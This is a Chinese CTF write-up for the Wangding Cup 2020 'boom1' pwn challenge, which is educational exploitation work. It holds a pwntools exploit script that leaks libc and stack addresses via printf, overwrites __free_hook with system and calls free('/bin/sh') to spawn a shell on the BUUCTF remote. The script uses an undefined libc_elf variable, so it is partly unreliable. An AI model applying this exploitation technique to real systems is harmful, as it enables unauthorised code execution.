网鼎杯 2020 boom1

学习了 BOI Team 的wp,感觉没弄太明白,主要是远程的偏移计算方法。自己消化一下,想出一个自我感觉比较方便的方法。

这是一个虚拟机的题,用给定的一些关键字写个c程序,然后运行得到shell

师傅的方法:

由于都是通过mmap生成的堆,所以跟libc是连续,计算出程序当前变量位置与free_hook和system的偏移 *(free_hook) = system然后free(/bin/sh)就OK了

但问题是本地的偏移通过Gdb得到很容易,buu远程上的libc是一个很难找到的libc(libc可以下载,但对应的ld找不到,也许能找到但比赛的时候给出来也得当找不到的作)

所以我在这用了一次printf("0x%lx %21$p",&a); 这样一次打印出libc_main_ret和a的地址,便可计算出偏移,堆与libc邻不邻无所谓。

from pwn import *'''
patchelf --set-interpreter /home/shi/pwn/libc6_2.27-3u1/lib64/ld-2.27.so pwn
patchelf --add-needed /home/shi/pwn/libc6_2.27-3u1/lib64/libc-2.27.so pwn
'''elf = ELF('./pwn')
context.arch = 'amd64'local = 0
if local == 1:p = process('./pwn')
else:p = remote('node4.buuoj.cn', 26829) context.log_level = 'debug'
'''
libc : 0x00007ffff7a1e000
__free_hook : 0x7f626872b8e8 <__free_hook>   &a - 0x1616f0
system      : 0x7f62683b7580 <system>        &a - 0x4d5a58
&a          :     0x6888cfd8
'''
#gdb.attach(p)
#pause()
#base = 0x517fd8 #local
base = 0x54dfd8 #remote
off1 = (base - libc_elf.sym['__free_hook'])//8
off2 = (base - libc_elf.sym['system'])//8
print('_free_hook,system',off1, off2)
#通过这个长的printf找到libc_start_main_ret 为21
#payload = 'main(){int a; printf("%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p");}\n'
'''
b'(nil)-(nil)-(nil)-(nil)-(nil)-0x7ffe3ddb0750-(nil)-0x1-0x1-0x7f2762bf2048
-0x7f2762baffd0-0x7f2762baffe0-0x7f2762bb1010-0x4-0x25-0x40000-0x7f2762c335b0-0x7f2762baffd8-0x6bb73c06bded3e00-0x55c67dfa5e30
-0x7f27626b9a87   <------ __libc_start_main_ret+231
'''
#payload = 'main(){int a; printf("0x%lx %21$p",&a);}'
payload = 'main(){int a; *(&a-'+str(off1)+')=&a-'+str(off2)+';free("/bin/sh");}\n' #local
p.sendafter(b"I'm living...\n", payload.encode())
p.interactive()

[BUUCTF-pwn] wdb_2020_1st_boom1相关推荐

  1. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  2. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  3. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  4. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  5. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  6. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  7. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  8. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  9. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

  10. Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算

    32位,开启了RELRO保护,堆栈地址随机化 没有开启nx保护,可利用写入shellcode来获取shell 一开始给我们输出了参数s的地址 strcmp函数: 两个字符串自左向右逐个字符相比(按AS ...

最新文章

  1. Ext.Net学习笔记18:Ext.Net 可编辑的GridPanel
  2. linux源码阅读笔记 fork函数
  3. c# 控制IE浏览器
  4. 使用正确的垃圾收集器将Java内存使用量降至最低
  5. python安装caffe_Linux下caffe的安装
  6. js如何监听元素事件是否被移除_javascript:什么是js事件?(上)
  7. 微信语音怎么转发给好友
  8. 刷网课-踩坑——jsDOM获取不到页面元素节点-iframe标签获取元素节点
  9. NAT环境FTP服务器的映射及访问过程详解
  10. pythonsorted函数cmp_python3中sorted函数里cmp参数改变详解
  11. 强制退出hdfs安全模式
  12. php redis地址和端口号,redis默认端口是什么
  13. edm邮件直投_EDM邮件直投专家 :直接投递Email到收件人邮箱 Version 4.0.9 Build 503
  14. Scala——面向对象和函数式编程语言
  15. Excel常用技巧—数字和文本转换,三种方法任你选!!
  16. 华为路由器 上网慢 延迟高 解决方法
  17. INE上线BiKi,开启“充值领空投+最少买入,也拿万元锦鲤”活动
  18. manjar强制关闭应用
  19. 科技圈最具权势25大女工程师
  20. 互盾科技:日日行,不怕千万里;常常做,不怕千万事

热门文章

  1. CVPR2020 步态论文:Gait Recognition via Semi-supervised Disentangled Representation Learning to Identit
  2. Cesium:入门教程(五)之 3D Tiles
  3. 一个文本框可能存在哪些漏洞
  4. Android向服务器传递参数方式:PostGet
  5. 一篇文章读懂什么是CAP(基础入门)
  6. CF1492A - Three swimmers
  7. Docker安装emqx详解(配置SSL证书、开启WSS、鉴权)
  8. iOS textField属性详解
  9. java如何统计文章阅读量_博客中的阅读量是如何设计的?
  10. 计算机中word的快捷键大全,Word中全选的快捷键是什么 word快捷键大全【图解】...